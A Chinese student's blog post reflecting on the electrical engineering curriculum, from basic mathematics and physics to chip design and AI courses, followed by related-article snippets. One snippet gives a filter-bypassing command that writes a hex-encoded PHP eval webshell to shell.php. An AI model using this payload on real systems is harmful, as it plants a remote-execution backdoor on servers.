我对EE学科知识体系的一点理解

news/2024/4/30 11:37:08/文章来源:https://www.cnblogs.com/sasasatori/p/16610517.html

前言

研究生一年级的分都出完了,鉴于学分已经修够了,可以说学生时期上课、写作业、考试的日子也基本上到头了。

有幸高中升大学时挑选了一个自己感兴趣的专业(电子信息工程),学习之路虽然难言轻松,但还是乐在其中的。按照本科4年+研究生1年来算,共5年的学习时间,北京理工大学和中国科学院大学的课堂算是帮助了我对整个EE领域有了基本的认识,算是建立了一套相对系统的学科观念。

尽管在实际做项目时,只有课本知识是完全不够用的,但学科的思维模式却是贯彻始终的,能够快速帮我上手解决具体问题。我是一个先求广再求精的人,事实上广博的学习也帮助了我在做项目时能够快速的有一个全局的认识,进而掌控大方向,也有助于我和每一个负责具体方向的同学的沟通。

下面从我现在的高度来具体聊聊我对每个板块的认识。

基础类

工科,基础默认是数学和物理。尽管对人文社科有着浓厚的兴趣,但自高中以来我就是个不折不扣的理科生。靠着高二时打物理竞赛留的底子,大学的数学和物理我还算上手的比较愉快。而在后续的学习中,我也反复的感受到基础确实很重要,专业课里一般学不懂的地方都是数学或者物理上搞不定,没理解透。

数学

基础数学

数学分析是重中之重,多元微积分,微分方程,泰勒展开,傅里叶展开,拉格朗日乘子法......每一个数学工具都是有非常有用的,这里不得不感慨,万幸当时跟了一个好的老师,并且投入了大把时间做题。线性代数同样重要的,是大量后续学科的基本数学工具。而概率论,说来惭愧,学完后放了很久,一直到学习随机信号时才重新捡起,尽管也是必不可缺的,但其地位在我心中比不上前面两者。

专业数学

数值分析主要是讨论近似方法,本科EE课群中其实并没有这门课程,但是我在学高性能计算时接触了,里面的数学工具在讨论计算机求解数学问题时是很有用的。复变函数,重要且难学,重点是把握思想,信号与系统及其后续课程对于复变有比较高的要求,复数是非常好用的描述工具。我们当时在同一学期开了复变和信号与系统,学的很难受,其实前者应该设为后者的先修课程。数学物理方程讨论了一些特殊偏微分方程的求解问题,对于学习电磁场和量子力学还是很重要的,直接关联到微波和微电子的专业课程。

物理

基础物理

大学物理,一门在我看来有点大而无当的课,尽管确实起到了拓展知识面的作用,但是力学,热力学,光学,相对论等物理分支其实对专业知识体系没有太大的帮助。当然,如果往半导体工艺和设备发展的话,就比较吃这些物理基础了。理论物理导论,相当于大学物理plus,不过是从理论力学、统计力学、电动力学、量子力学的高度来讲,对数学要求更高。

专业物理

电磁学理论和半导体物理两门课分别算是微波方向和微电子方向的内功心法,电磁学理论围绕麦克斯韦方程组;半导体物理从量子力学中的波函数出发,讨论能级,能带,再讨论载流子漂移、扩散等现象。

专业类

由于具体方向不同,EEer可能只会学一些子集,但其实各个专业方向之间的勾连程度挺高的。我的个人感受是对于做电路的人来说,电路本身那点方法学是不够支撑一个人去做完整项目的,因为电路本身只是实现目标的手段罢了,而这个目标往往是和应用相关的学科来决定的(计算机、通信、算法.......),我做AIOT芯片时的感受就是真的什么都得会一点,一个SoC里如果同时包含了数字、模拟、射频,那就需要一锅EE学科知识大杂烩。但我个人也很享受这种所有知识都能派上用场的场景,说明没有白学。

专业基础

电路类

电路分析是最基础的,但是里面的工具会在后面的电路类课程里反复用到(模拟类),包括基尔霍夫方程组,戴维南等效,诺顿等效,RLC网络分析法(尽管这里如果没有学过复变函数的情况下只能用常微分方程的视角来进行理解)等。数字电路主要是组合逻辑和时序逻辑两大块,组合逻辑围绕布尔代数,最小项之和与最大项之积,卡诺图等工具以后还是有用的,时序逻辑中状态机是重中之重,Milly型、More型,状态转移图,状态转换表,时序图等是以后做数字非常常用的工具。模拟电路是一个很复杂的课程,满打满算下来我模拟学了三遍,但是依然不敢说自己完全理解了,首先模电讨论了运放,二极管,BJT,MOS等基本元件,BJT和MOS的几种组态,这些都是很常用的。进行频率分析时得动用信号与系统的相关知识,主要是把握电路中的零极点。而反馈,电路的稳定性分析会需要自动控制原理的相关知识。通信电路需要模电和一些通信原理的底子,讨论了振荡器,VCO,PLL,功放等部件,以及AM、FM、PM调制解调的原理和电路实现。

信号类

信号与系统是我个人很喜欢的一门课,也是以后所有信号类,以及模拟电路类课程的知识基础。本质上是通过傅里叶变换这一工具给我们提供了看信号的另外一重维度的视角。里面一些时域,频域分析方法,卷积定理等是非常有用的工具。

通信类

信息论与编码,讨论了基本的信息学概念,信息熵,信道等,后续通信原理会用到。编码里面的一些技术很重要,CRC在我做项目时反复碰到,存储器做ECC时需要纠错编码的知识。

微波类

微波工程技术基础,我学的比较痛苦的课,吃电磁学底子。传输线模型,史密斯圆图,负载匹配,功率匹配等工具做射频电路时很常用。后续讨论波导(矩形波导,圆波导,平面微带线)是做天线的基础。

计算机类

C语言程序设计,没有什么好说的,连带着一点计算机常识和编程一起学的课,系统性不是很强,大把时间在教语法,但实用性很强。数据结构与算法系统性强了很多,堆、栈、队列、链表、树、图等数据结构,排序、归并、查找、规划等算法,给编写程序提供了一定的理论支持。其中图,Dijkstra算法和Floyd算法在后面计算机网络,通讯网理论里面有应用。计算机原理与应用,比较系统的讲了计算机结构,拜其所赐好好的啃了一顿8086,写了不少汇编,后续学计算机体系结构时还是比较感谢这门课的。

专业应用

电路类

集成电路工程,大三下修的,同样感觉大而无当,想同时教模拟集成电路和数字集成电路,但是最后因为课时不够变成了通识教育。ICer真正的必修课还是这三个:数字集成电路,模拟集成电路,射频集成电路。数集在数电的基础上补充了HDL的方法学,时序约束(Setup、Hold),以及Pipeline、总线、存储器、乘法器、加法器、函数运算器(Cordic)等常用组件,算是给做数字IC开了道门缝,门后的世界更精彩(指天天敲代码)。模集在模电的基础上拓展了MOS的玩法,另外用随机信号的知识做了一些比较完善的噪声分析,电路方面最开始是电流镜,差分对等基本组件,经典两级密勒补偿放大器之后,就开始讲各种放大器trick,套筒,自举,折叠等等,之后是基准源,开关电容,ADC等电路,这些东西单独拆出来都可以作为一门课,并且目前依然是学术界的研究对象,模集也就提供一些经典例子作为入门。我的感受是模集的入门比数集难很多,并不是会连电路,跑仿真,画版图就over了,方法学上更加复杂(结构上面往往就有很多做文章的空间,即使结构定了,确定参数依然是个多约束条件下的非线性优化问题,虽然有gm/Id法等方法论,实际做的时候还是会碰到一些烦人的trade-off问题),时至今日我也依然不知道自己是否真的踏进那扇门了,也许得等到有朝一日自己真的做一次模拟IC的流片才能有所领悟吧。射集不仅是模集plus,研究把模集那套东西搬到高频段后遇到的一些新问题,也有自己的独特问题,包括需要通信原理知识的一些调制解调原理(收发机架构),通信电路讲过的那些模块的集成电路版本,进行射频放大器设计时讨论匹配问题,以及天线需要微波的知识。

信号类

数字信号处理核心是讨论信号与系统在离散域下的情况,所以采样定理,Z变换等基本概念是共用的,还会FFT这一重要的快速算法,以及FIR、IIR滤波器设计等。这些数学工具是可以直接指导在数字系统上面搭建信号处理电路的,非常实用。随机信号处理很难学,但是提供了随机信号的数学模型和谱分析方法,这些非常关键的数学工具,做模集和通信是绕不开的。自动控制原理,和控制类专业相比,我们只讲完了经典(SISO)的情况,用传递函数来做稳定性分析,以及如何调节一个系统的正义裕度,相位裕度等,PID控制器甚至还是做比赛时自学的,状态空间法开了个头,就没有往下深挖了,但就我目前体验来说,这套工具已经够满足需求了。

通信类

数字通信原理,挺有趣的一门课,也有可能是因为当时讲这门课的老师讲的比较精彩。过了一遍信息论,编码,模拟调制等前置知识,后续讨论了数字调制解调方法(ASK,FSK,PSK) ,匹配滤波,最佳接收等理论。目前实际上也没有多少模拟通信系统在用了,做射频的基本上都会用到数字通信原理的知识。通信网理论,指导通信网搭建,讲了很多排队论,网络拓扑的东西,当时给我的印象是一个很抽象但是和其他学科又没有多少结合的东西,直到学计算机网络才把这边的东西捡起来了一点,可能是因为我并不专门做这块吧。

微波类

天线理论与技术,一门没学明白的课,在微波工程和电磁场理论的基础上讨论了一些经典天线的设计(喇叭天线,八木天线,透镜天线,微带天线等等),最后拿HFSS做了做仿真就草草了事,但其实做的时候就明白自己底子不扎实了,并不能很好的理解参数的作用,只是为了凑指标使劲调参数一遍遍的试。只能说这个方向对于电磁学的理解要求很高,我还是下的功夫不够。

计算机类

计算机体系结构,除了计算机原理包含的一些内容,还重点讲了CPU设计的各种技术,包括但不限于指令集,动态流水线,多发射,转移猜测,Cache,存储管理(TLB)等,我非常喜欢的一门课,很酷。高性能计算系统,讨论了并行计算技术,用到了一些数值计算的理论,然后就主要是MPI的编程模型了。计算机网络,很杂的一门课,大框架是ISO七层协议,具体到每一层都是不同的学科和方法论,做路由器,做数据中心,做应用,做安全.......不同方向的人着眼点不同。嵌入式系统原理,基本上是对着ARM重新讲了一遍计算机原理,稍微贴近实践一些,但我的建议是不如好好玩玩单片机。操作系统原理,同样是我很喜欢的课,进程、线程,调度,进程同步,死锁,虚拟内存,文件系统等,得要和计算机原理,计算机体系结构配合做理解。

算法类

数字图像处理,讨论图像变换,图像表征,图像压缩,图像恢复,图像增强,图像处理等一系列任务,被深度学习技术颠覆的很厉害的学科,传统方法环节很多,数学上也很复杂,但最后被深度学习模型end-to-end的解决掉了,指标上还更好,可以说CV是AI重灾区了(笑。自然语言处理同理,经典方法很多很复杂,马尔科夫链描述的语言模型,词法分析,句法分析,语义分析,环节多,数学难,结果被深度学习一力降十会了,NLP和CV并列AI重灾区,学的时候就感觉前面教的经典方法和后面教的深度学习范式两者几乎不在一个层面。强化学习及应用,与前两者相比并未被深度学习完全颠覆,大的理论框架依然是马尔科夫决策过程,深度学习技术在这里主要是当作价值函数和策略函数的拟合手段在用,尽管有AlphoGo之类的重量级demo,这门学科发展相对于前两者感觉还是缓慢一些。我对AI有着复杂的看法,但不可否认它是驱动这近10年以来科学界的一个主要推动力量,人们热衷于把其范式应用到各类问题中,并且也确实产生了一些奇妙的化学反应,身处时代潮流中,我没办法做到给它一个高度的历史性评价,何况自己也在做相关的东西,我们姑且拭目以待吧。

微电子类

微电子器件,在半导体物理出发去上去讲了模拟电路中会使用的基本元件——二极管,BJT,MOS的电学特性,一门有趣的桥梁性课程。半导体工艺,比较杂的一门课,讲了很多制造中的工艺步骤和理论,光刻,扩散,氧化,刻蚀,离子注入等,对我来说主要是拓展知识面。

总结

EE本身涉及的面很广,但是从系统工程的角度来看,对于串行环节来讲,效率也好,稳定性也好,本身是一个乘算的关系。所以某个环节拉跨了最后整个系统也不行,这个环节就成了瓶颈。最后聊聊我的学科观:我们讨论出身科班与否,其实就是在看一个人知识结构的系统性。尽管在某个子方向上去深挖,并不需要广阔的视野,甚至最后变成了一些经验性的工程问题,但如果我们想要往高的层次去走就得重视学科知识。知识是可以改造一个人的世界观,认知方法,思考模式的,即使具体的公式和知识点有的记不得了,这5年的学习也给我打下了很深的烙印。

最后,我归纳的知识树如下,各个学科的关联见上面的文字部分,图里就不拉箭头了,太难看:
img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2425.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

向QtableWidget中添加自定义widget崩溃异常: 0xC0000005

1.问题描述 想给QTableWidget添加QCheckBox,代码如下,tableWidget->setCellWidget老是崩溃(0x0F954E63 (qwindows.dll)处(位于 QStockView.exe 中)引发的异常: 0xC0000005: ),我用的其他的tableWidget添加QCheckBox却是正常的。搞了一天;QCheckBox* pCheckBox = new Q…

basic_find

一直对输入数据进行跟踪 发现整体的混淆架构 main是一个 类似于一种switch的vm 这个题有一个特征 就是如果这题里面一个函数真正有用的话,他会使用很多switch来掩饰 而如果没有往往是简单运作一下就跳过了 所以顺着这个线索去追踪 刚好是最实用的比如在这个函数里 前面几个函数…

10--DSL查询文档-查询分类和基本语法

elasticsearch的查询依然是基于JSON风格的DSL来实现的。DSL查询分类 Elasticsearch提供了基于JSON的DSL(Domain Specific Language)来定义查询。常见的查询类型包括: (1) 查询所有:查询出所有数据,一般测试用。 例如:match_all (2) 全文检索(full text)查询:利用分词器…

2022第六届河南省高等学校信息安全对抗大赛(ISCC2022)——古典

1. 古典 题目提示为古典,下载后发现是一个txt文本,打开ON4W45D3G44TC4TSGU3DKLLOONYXELJUG43TELJYHFXDOLJWOBYXC4JWOEYDQNRTON6Q==== 发现这是个BASE32的解码,利用解码工具的synt{791rr565-nsqr-4772-89n7-6pqqq6q0863s} 然后根据题目提示古典,使用凯撒解码的(因为古典加密…

笔记本网卡总断连,如何使得网卡不自动休眠?

笔记本网卡总断连,如何使得网卡不自动休眠? 总结 家里面的笔记本拿来开机做服务器,但是出门在外的时候没法远程连接回服务器,回到家发现是因为网卡休眠了。很抓狂。 通过以下方法关闭网卡的自动休眠。重新安装网卡驱动修改注册表OK参考 修改注册表 https://www.zhihu.com/q…

硬件结构 硬盘--

CPU 的高速缓存,通常可以分为 L1、L2、L3 这样的三层高速缓存,也称为一级缓存、二级缓存、三级缓存。在 Linux 系统,我们可以通过这条命令,查看 CPU 里的 L1 Cache 「数据」缓存的容量大小: $ cat /sys/devices/system/cpu/cpu0/cache/index0/size 32K 内存用的芯片和 CPU…

linux kernal note

linux kernal note 内核体系结构 内核由五个模块构成 进程调度模块(核心) 内存管理模块 文件系统模块 进程间通信模块 网络接口模块内存管理 内存条分区 内存分为以下几个功能模块:从前到后为内核模块、高速缓存区(包含显存和BIOS ROM)、虚拟盘、主内存区。linux分页分段管…

Hadoop及其三大组件原理

Hadoop是什么? 由Apache基金会开发的分布式系统基础架构 海量数据的存储和分析计算 Hadoop架构历史: 1.0 HDFS和MapReduce 2.0 在1.0基础上增加了YARN(任务调度),解放了MapReduce 3.0 和2.0类似,着重优化 Hadoop优势: 1)高可靠性 多数据副本 2)高扩展性 动态扩展,动态…

Java 断点下载(下载续传)服务端及客户端(Android)代码

原文: Java 断点下载(下载续传)服务端及客户端(Android)代码 - Stars-One的杂货小窝最近在研究断点下载(下载续传)的功能,此功能需要服务端和客户端进行对接编写,本篇也是记录一下关于贴上关于实现服务端(Spring Boot)与客户端(Android)是如何实现下载续传功能 断点下载功能(…

深入flex 中align-items属性

设置外层盒子flex 显示宽度为自己盒子本身宽度 高度被拉高整个盒子设置为垂直方向的对齐方式 align-items:flex-start 盒子不将被拉伸 显示元素本身的高度align-items:center 盒子不将被拉伸 显示元素本身的高度align-items:stretch 元素拉伸

软件测试入门三(软件bug)

一、什么是软件bug 一个手机,如果他的屏幕碎了、裂了,拐角磕碰瑕疵,这些都是手机的缺陷。 软件就好比这款手机,出现了各种各样的问题,就是软件的bug(缺陷) 软件在测试过程中发现的bug,属于正常情况,因为能够在测试过程中被发现得到修改,如果bug出现在线上,就是线上事…

Activiti可视化流程管理器

1.简介 Activiti是一个业务流程管理(BPM)框架,它是覆盖了业务流程管理,工作流,服务协作等领域的一个开源,灵活的,易扩展的可执行流程语言框架。在Java工作流引擎中可谓是主流,我们的项目也是使用的这个框架进行流程相关的开发。与流程息息相关的就是我们的流程定义BPMN文件…

函数式接口-常见函数式接口-Supplier接口

常见函数式接口Supplier接口: java.util.function.Supplier<T>接口仅包含一个无参的方法:T get()。用来获取一个泛型参数指定类型的对象数据。Supplier<T>接口被称之为生产型接口,指定接口的泛型是什么类型,那么接口中的get方法就会生产什么类型的数据 代码:p…

CF(div2)816 A~C

A Crossmarket思维 矩阵走路径,发现走Z字型怎么走都是一样的耗费,所以直接O(1)算出来就好/** |~~~~~~~|* | |* | |* | |*…

聊聊项目中分表的实际应用-2022新项目

一、业务场景Web项目开发中,分表是时常会使用到的方式。分表的一个目的是为了缓解单表数据量过大,导致操作时 性能下降的问题。可是在实际开发中应该如何进行进行分表呢?那种分表方式更符合实际呢? 二、需求分析网上随便去搜索一下就会发现有很多的分表方式,比如常规的垂直…

数组

概念:一组相同数据的容器相同类型:Java语言中要求存入数组的数据类型必须一直 容器:类似于生活中存放物品的容器,在编程世界中,容器可以用来存放数据 一组:容器中可以存放多个数据声明数组变量int [] ageArray;创建数组对象ageArray = new int[5];静态创建数组int [] ageArray …

11.3 垃圾回收相关概念

目录11.3.1 System.gc()的理解11.3.2 内存溢出与内存泄漏内存溢出(OOM)内存泄漏(Memory Leak)11.3.3 Stop The World11.3.4 垃圾回收的并行与并发并发(Concurrent)并行(Parallel)并发 VS 并行11.3.5 安全点与安全区域安全点(Safepoint)安全区域(Safe Region)引用概…

过滤符号,Linux下写入Webshell

最近的学习生活中,看到了好兄弟写出的这么一句话让我陷入沉思,是否>被过滤,就意味着写入不了Webshell了?于是有了下面的Payload 只要|没被过滤,就有可能写入成功! echo 3c3f70687020406576616c28245f504f53545b277479736563275d293b3f3e|xxd -ps -r|tee shell.php

《GB27951-2011》PDF下载

《GB27951-2011 皮肤消毒剂卫生要求》PDF下载 《GB27951-2011》简介本标准规定了皮肤消毒剂的技术要求、试验方法、使用方法、标签和说明书以及使用注意事项; 本标准适用于完整皮肤和破损皮肤消毒的消毒剂,不适用于手消毒剂。 《GB27951-2011》截图 《GB27951-2011》下载 网…

java中静态成员变量、静态代码块static执行时机

java中静态成员变量与静态块会比构造函数先执行,并且只会执行一次,一个类中有多个static修饰的成员变量或者代码块,会按照代码中先后的顺序执行 请看下面的示例:public class Test {public static void main(String[] args) {Out out1 = new Out();} }public class Out {st…